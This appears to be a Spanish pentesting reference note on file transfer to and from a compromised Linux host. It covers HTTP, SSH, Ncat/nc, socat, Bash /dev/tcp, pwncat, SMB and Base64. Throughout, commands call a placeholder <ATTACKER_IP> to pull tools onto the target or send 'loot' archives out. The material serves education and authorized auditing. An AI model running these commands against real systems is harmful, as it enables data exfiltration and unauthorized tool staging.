Árbol de conocimiento
En esta página

Transferencias de archivos en Linux

Métodos prácticos para transferir archivos en Linux desde shells, sesiones SSH, hosts restringidos y rutas alternativas habituales en pentesting.
Actualizado 25 ago 2026

En Linux, mover un archivo suele depender de lo que permita ejecutar la shell actual, de la dirección en la que exista conectividad y de si la sesión que ya tenemos proporciona algún canal de transferencia. Con curl o wget puede bastar HTTP. Si hay acceso SSH, aparecen scp, SFTP, rsync y los propios streams de SSH. En una reverse shell limitada quizá solo queden nc, las redirecciones de Bash, Base64 o las funciones de transferencia del handler que mantiene la shell.

En esta Note, download significa atacante → Linux y upload significa Linux → atacante, salvo que una herramienta utilice explícitamente otra terminología.

Referencia rápida

SituaciónMétodos a probar
El objetivo alcanza HTTP(S)curl, wget, Python, wget de BusyBox
Hay un endpoint HTTP que acepta uploadscurl con multipart POST o HTTP PUT
Tenemos credenciales o sesión SSHscp, SFTP, rsync, streams sobre SSH
Solo funciona una conexión TCP saliente básicaNcat / nc, socat, Bash /dev/tcp
La shell está gestionada con pwncat-csupload / download
SMB es alcanzable y existe smbclientsmbclient contra un recurso temporal
Solo podemos mover textoBase64, opcionalmente hexadecimal
Hay que mover un directorio o muchos archivostar, con posibilidad de enviarlo en streaming
La transferencia es grande o inestablecurl -C -, wget -c, SFTP reget / reput, rsync -P

Antes de montar infraestructura nueva, conviene ver qué ofrece ya el host:

id
pwd
umask
ps -p $$ -o comm=

command -v curl
command -v wget
command -v python3
command -v python
command -v busybox
command -v nc
command -v ncat
command -v socat
command -v ssh
command -v scp
command -v sftp
command -v rsync
command -v smbclient
command -v base64
command -v xxd
command -v tar
command -v sha256sum

$SHELL indica la shell de login configurada para el usuario, pero no necesariamente la que está ejecutando una reverse shell concreta. Cuando importa la sintaxis de la shell actual, ps -p $$ -o comm= suele dar una pista más útil.

El directorio de destino también depende del contexto. /tmp suele ser práctico, pero no hay que asumir que siempre sea escribible o ejecutable para la identidad actual.

test -w /tmp && echo "/tmp es escribible"
df -h /tmp 2>/dev/null

HTTP

HTTP suele ser una de las rutas más sencillas cuando el host Linux puede iniciar conexiones hacia la máquina del operador.

Preparación en el atacante

Python permite exponer rápidamente un directorio en modo de lectura:

python3 -m http.server 8000 --directory /opt/tools

Los archivos de /opt/tools quedan disponibles bajo:

http://<ATTACKER_IP>:8000/

Para infraestructura temporal de una auditoría resulta muy cómodo. Es mejor servir únicamente el directorio que realmente queramos exponer.

Download

En el objetivo podemos elegir según los binarios presentes.

curl -fL \
  http://<ATTACKER_IP>:8000/tool \
  -o /tmp/tool
wget \
  http://<ATTACKER_IP>:8000/tool \
  -O /tmp/tool
python3 -c "import urllib.request; urllib.request.urlretrieve('http://<ATTACKER_IP>:8000/tool', '/tmp/tool')"
busybox wget \
  -O /tmp/tool \
  http://<ATTACKER_IP>:8000/tool

En curl, -f hace que las respuestas HTTP 4xx/5xx sean errores en vez de guardar silenciosamente una página de error con el nombre del binario esperado. -L sigue redirecciones.

La variante de BusyBox solo es un fallback válido si ese build incluye el applet wget y soporta las opciones utilizadas. BusyBox se compila seleccionando applets concretos; no conviene asumir que el target tiene el mismo conjunto que otra distribución:

busybox --list 2>/dev/null
busybox wget --help 2>&1 | head

Si el archivo descargado es ejecutable, la transferencia y la ejecución son dos problemas distintos:

chmod +x /tmp/tool
file /tmp/tool

Reanudar un download interrumpido

curl puede calcular el offset a partir del archivo de salida que ya existe:

curl -fL -C - \
  http://<ATTACKER_IP>:8000/large.tar.gz \
  -o /tmp/large.tar.gz

Con Wget, -c continúa un archivo parcial dejado por una ejecución anterior:

cd /tmp
wget -c http://<ATTACKER_IP>:8000/large.tar.gz

En HTTP, ambos métodos necesitan que el servidor soporte peticiones por rangos para que exista una reanudación real. Conviene verificar el archivo final en vez de asumir que se ha continuado correctamente.

En Wget, -O no debe tratarse como si fuera simplemente una opción para renombrar el archivo cuando queremos reanudar. Se comporta como una redirección de salida y trunca el fichero seleccionado al comenzar la transferencia; dejar que -c trabaje con el nombre local derivado de la URL evita esa ambigüedad.

HTTP upload

python3 -m http.server sirve archivos, pero no es un receptor genérico de uploads. Para enviar datos desde el target necesitamos un endpoint cuyo método y formato coincidan con el comando cliente.

Preparación con uploadserver

uploadserver amplía el servidor simple de Python con un endpoint de subida:

python3 -m pip install --user uploadserver
python3 -m uploadserver 8000 --directory ./loot

El endpoint multipart queda en:

http://<ATTACKER_IP>:8000/upload

Upload con curl

curl -f \
  -X POST \
  -F 'files=@/tmp/loot.tar.gz' \
  http://<ATTACKER_IP>:8000/upload

Por defecto el servidor renombra un archivo duplicado en vez de sustituir el existente. --allow-replace debe usarse en el receptor únicamente cuando sobrescribir sea intencionado.

curl también puede enviar un archivo mediante HTTP PUT:

curl -f \
  -T /tmp/loot.tar.gz \
  http://<ATTACKER_IP>:8000/loot.tar.gz

Con una URL HTTP(S), -T / --upload-file utiliza PUT. Solo funcionará si el receptor admite PUT expresamente en esa ruta; el ejemplo anterior de uploadserver, en cambio, espera un POST multipart en /upload.

SSH y SFTP

Si ya disponemos de autenticación SSH funcional, normalmente compensa aprovecharla antes de abrir otro servicio. El transporte, la autenticación y el cifrado ya están resueltos.

scp

Desde la máquina del operador, upload al host Linux:

scp ./tool user@<TARGET>:/tmp/tool

Download desde el host Linux:

scp user@<TARGET>:/tmp/loot.tar.gz ./loot.tar.gz

Si SSH escucha en otro puerto:

scp -P 2222 ./tool user@<TARGET>:/tmp/tool

Las versiones modernas de OpenSSH hacen las transferencias de scp mediante SFTP por defecto. Si podemos iniciar sesión por SSH pero scp falla contra un servidor antiguo o poco habitual que no ofrece un subsistema SFTP utilizable, se puede forzar el protocolo SCP heredado:

scp -O ./tool user@<TARGET>:/tmp/tool

-O es un fallback de compatibilidad, no un modo preferible por defecto.

SFTP

Cuando el operador conecta al target mediante SFTP:

sftp user@<TARGET>

las operaciones principales son:

put ./tool /tmp/tool
get /tmp/loot.tar.gz ./loot.tar.gz

Para un puerto no estándar:

sftp -P 2222 user@<TARGET>

SFTP también tiene operaciones explícitas para continuar transferencias:

reput ./large.tar.gz /tmp/large.tar.gz
reget /tmp/large.tar.gz ./large.tar.gz

La reanudación presupone que la copia parcial existente corresponde al comienzo del mismo archivo de origen. Si alguno de los dos lados ha cambiado, es mejor repetir la transferencia y verificar el resultado.

rsync sobre SSH

Cuando rsync está disponible en ambos extremos resulta especialmente útil con directorios o conexiones que pueden interrumpirse.

Upload:

rsync -avP \
  -e 'ssh -p 2222' \
  ./tools/ \
  user@<TARGET>:/tmp/tools/

Download:

rsync -avP \
  -e 'ssh -p 2222' \
  user@<TARGET>:/tmp/loot/ \
  ./loot/

-P equivale a --partial --progress: conserva los archivos parciales para que una ejecución posterior pueda reutilizarlos.

Para un único archivo donde no haga falta conservar metadatos de archivo, también puede bastar:

rsync -P ./large.tar.gz user@<TARGET>:/tmp/large.tar.gz

Streams sobre SSH

Una sesión SSH puede transportar bytes arbitrarios sin depender de scp, SFTP o rsync.

Upload:

ssh user@<TARGET> 'cat > /tmp/tool' < ./tool

Download:

ssh user@<TARGET> 'cat /tmp/loot.tar.gz' > ./loot.tar.gz

Es una alternativa útil cuando el transporte SSH funciona pero no lo hace un subsistema de transferencia.

También podemos mover un directorio sin crear primero un archivo comprimido en disco:

tar czf - -C ./tools . \
  | ssh user@<TARGET> 'mkdir -p /tmp/tools && tar xzf - -C /tmp/tools'

En sentido inverso:

ssh user@<TARGET> \
  'tar czf - -C /var/tmp evidence' \
  > evidence.tar.gz

TCP directo

Un stream TCP sin protocolo adicional es útil cuando faltan clientes de mayor nivel y el target puede alcanzar un puerto en escucha del operador. Por sí solo no aporta autenticación ni cifrado.

Ncat

Ncat ofrece modos unidireccionales que hacen predecible el cierre de la transferencia.

Target → atacante:

Atacante:

ncat -l 9001 --recv-only > loot.tar.gz

Target:

ncat --send-only <ATTACKER_IP> 9001 < /tmp/loot.tar.gz

Atacante → target:

Atacante:

ncat -l 9001 --send-only < tool

Target:

ncat --recv-only <ATTACKER_IP> 9001 > /tmp/tool

--send-only cierra la conexión cuando llega a EOF en la entrada, evitando el caso típico en el que una transferencia unidireccional se queda abierta mientras ambos extremos esperan al otro.

nc en un target limitado

Es habitual encontrar nc aunque no esté Ncat. La forma en modo cliente es bastante portable entre implementaciones.

Upload desde el target:

nc <ATTACKER_IP> 9001 < /tmp/loot.tar.gz

con Ncat recibiendo en el atacante:

ncat -l 9001 --recv-only > loot.tar.gz

Algunas implementaciones de nc mantienen el socket abierto aunque la entrada estándar haya llegado a EOF. En ese caso los bytes pueden haberse enviado ya mientras uno o ambos procesos siguen esperando. OpenBSD netcat ofrece -N para cerrar el socket tras EOF y netcat-traditional suele ofrecer -q 0, pero son flags específicos de cada implementación. Hay que revisar nc -h antes de depender de cualquiera de ellos.

Download al target:

nc <ATTACKER_IP> 9001 > /tmp/tool

con Ncat enviando desde el atacante:

ncat -l 9001 --send-only < tool

socat

socat ofrece otra ruta unidireccional y válida para datos binarios.

Target → atacante:

Atacante:

socat -u TCP-LISTEN:9001,reuseaddr CREATE:loot.tar.gz

Target:

socat -u FILE:/tmp/loot.tar.gz TCP:<ATTACKER_IP>:9001

Atacante → target:

Atacante:

socat -u FILE:tool TCP-LISTEN:9001,reuseaddr

Target:

socat -u TCP:<ATTACKER_IP>:9001 CREATE:/tmp/tool

-u hace que la comunicación sea unidireccional desde la primera dirección hacia la segunda.

Bash /dev/tcp

Cuando Bash está disponible, su lógica de redirecciones permite abrir un socket TCP sin un binario de red adicional.

Download desde el atacante:

Atacante:

ncat -l 9001 --send-only < tool

Target:

bash -c 'cat < /dev/tcp/<ATTACKER_IP>/9001 > /tmp/tool'

Upload hacia el atacante:

Atacante:

ncat -l 9001 --recv-only > loot.tar.gz

Target:

bash -c 'cat /tmp/loot.tar.gz > /dev/tcp/<ATTACKER_IP>/9001'

El uso de bash -c es intencionado. Tener una reverse shell bajo /bin/sh no implica disponer de la semántica de Bash.

Qué es realmente /dev/tcp

/dev/tcp/<host>/<port> parece el nombre de un dispositivo o una ruta del filesystem de Linux, pero en Bash es sintaxis especial de redirección. Cuando se utiliza esa forma en una redirección, Bash intenta abrir un socket TCP hacia el host y puerto indicados.

Esto explica un error muy habitual:

/bin/sh: cannot create /dev/tcp/10.10.10.10/9001: Directory nonexistent

La shell puede ser dash, el sh de BusyBox u otra implementación de /bin/sh que no implemente las redirecciones especiales de Bash. En ese caso normalmente no existe ningún directorio real /dev/tcp que el kernel pueda abrir.

Si Bash está instalado, podemos invocarlo explícitamente:

command -v bash
bash -c 'cat < /dev/tcp/<ATTACKER_IP>/9001 > /tmp/tool'

Bash también puede compilarse sin soporte para sus redirecciones de red, aunque las builds habituales de las distribuciones suelen incluirlo. Por tanto, que esta técnica falle indica una limitación de la shell y no demuestra por sí solo que no exista conectividad.

Handler de la shell actual

Si la reverse shell ya está gestionada por una herramienta que incluye transferencia de archivos, reutilizar ese mismo canal evita abrir otro servicio y no requiere conectividad adicional desde el target.

pwncat-cs

Desde el prompt local de pwncat, upload:

upload ./tool /tmp/tool

Download:

download /tmp/loot.tar.gz ./loot.tar.gz

pwncat mueve los datos por la misma conexión de la shell y localiza readers o writers disponibles en el host remoto. Son comandos de pwncat, no comandos para escribir en la shell del target.

El directorio de trabajo local utilizado por upload y download puede consultarse o cambiarse con:

lpwd
lcd /ruta/del/proyecto

SMB

Un host Linux también puede trabajar contra un recurso SMB si alcanza TCP/445 y dispone de smbclient.

Preparación en el atacante

Recurso temporal anónimo:

sudo impacket-smbserver share . -smb2support

Si el acceso guest no funciona, podemos exponerlo con credenciales:

sudo impacket-smbserver share . -smb2support \
  -username transfer \
  -password 'TransferPass1!'

Download con smbclient

Anónimo:

smbclient //<ATTACKER_IP>/share \
  -N \
  -c 'get tool /tmp/tool'

Autenticado:

smbclient //<ATTACKER_IP>/share -U transfer

Y dentro de la sesión:

get tool /tmp/tool

Upload con smbclient

Anónimo:

smbclient //<ATTACKER_IP>/share \
  -N \
  -c 'put /tmp/loot.tar.gz loot.tar.gz'

En una sesión autenticada:

put /tmp/loot.tar.gz loot.tar.gz

smbclient transfiere los archivos en binario. Pedir la contraseña de forma interactiva evita dejarla incrustada en el historial de la shell y en la línea de comandos del proceso.

Canales solo de texto

Cuando la única ruta fiable es texto de terminal, podemos representar los bytes como texto y reconstruirlos en el otro extremo.

Base64

En un sistema GNU/Linux, codificar un archivo pequeño en una única línea:

base64 -w 0 /tmp/loot.bin

Si esa implementación no soporta -w, podemos retirar los saltos de línea:

base64 /tmp/loot.bin | tr -d '\n'

Reconstruir el archivo:

printf '%s' '<BASE64_DATA>' | base64 -d > /tmp/tool

Para pegar contenido en varias líneas, un here-document entre comillas evita interpolaciones de la shell:

base64 -d > /tmp/tool <<'EOF'
<BASE64_DATA>
EOF

Base64 es seguro para datos binarios, pero aumenta el tamaño aproximadamente un tercio antes de contar saltos de línea u overhead del transporte. Es un buen fallback para archivos pequeños, no un método razonable por defecto para un archivo grande.

Hexadecimal con xxd

Si existe xxd:

xxd -p /tmp/loot.bin | tr -d '\n'

Reconstruir:

printf '%s' '<HEX_DATA>' | xxd -r -p > /tmp/tool

El hexadecimal es sencillo de inspeccionar, pero duplica el tamaño del binario. Además, xxd suele estar menos disponible que base64.

Empaquetado y streaming de directorios

tar resulta útil cuando hay que mover muchos archivos o un árbol de directorios.

Crear un archivo en el target Linux:

tar czf /tmp/loot.tar.gz \
  -C /var/tmp \
  evidence

Revisar su contenido antes de transferirlo:

tar tzf /tmp/loot.tar.gz

Si el espacio en disco es limitado, podemos enviar el stream de tar directamente sin crear /tmp/loot.tar.gz.

Atacante:

ncat -l 9001 --recv-only > loot.tar.gz

Target:

tar czf - -C /var/tmp evidence \
  | ncat --send-only <ATTACKER_IP> 9001

El mismo patrón funciona sobre SSH, como se ha visto antes. tar convierte el árbol de ficheros en un stream de bytes y el transporte puede ser SSH, Ncat, nc u otro canal que preserve esos bytes.

Verificación y troubleshooting

Que el cliente vuelva al prompt no garantiza por sí solo que el resultado sea el esperado. Cuando la integridad importa, hay que comprobarla.

Hashes

Antes de la transferencia:

sha256sum tool

Después:

sha256sum /tmp/tool

Hashes iguales confirman que ambos extremos contienen los mismos bytes.

Tipo de archivo y permisos

ls -lh /tmp/tool
file /tmp/tool

Si debe ejecutarse:

chmod +x /tmp/tool

Que después de una transferencia correcta aparezca Permission denied o Exec format error no significa necesariamente que los bytes se hayan corrompido. Conviene comprobar el montaje y la arquitectura:

findmnt -no TARGET,OPTIONS /tmp 2>/dev/null
file /tmp/tool
uname -m

Un filesystem con noexec o una arquitectura incorrecta pueden impedir la ejecución aunque el archivo haya llegado intacto.

Fallos habituales

SíntomaQué comprobar
curl guarda HTML en vez del archivo esperadoUsar -f; verificar URL y respuesta del servidor
wget -c deja contenido inesperadoConfirmar que el parcial pertenece al mismo objeto y que el servidor soporta rangos
El upload HTTP devuelve 405/400Comprobar POST frente a PUT y el formato de cuerpo esperado
SSH funciona pero scp fallaRevisar SFTP; usar scp -O solo como compatibilidad legacy o recurrir a un stream SSH
/dev/tcp/... aparece como directorio inexistenteConfirmar que la redirección la está interpretando Bash
Fallan los flags del listener de ncIdentificar la implementación; preferir Ncat en el atacante
Una transferencia TCP no terminaUsar --send-only / --recv-only con Ncat o controlar explícitamente el EOF
Los hashes no coincidenTratar la copia como parcial/corrupta y repetirla
El archivo llega pero no ejecutaRevisar permisos, noexec, arquitectura e intérprete
No podemos escribir en /tmp u otra rutaRevisar identidad, permisos, espacio libre y elegir otro destino

Referencias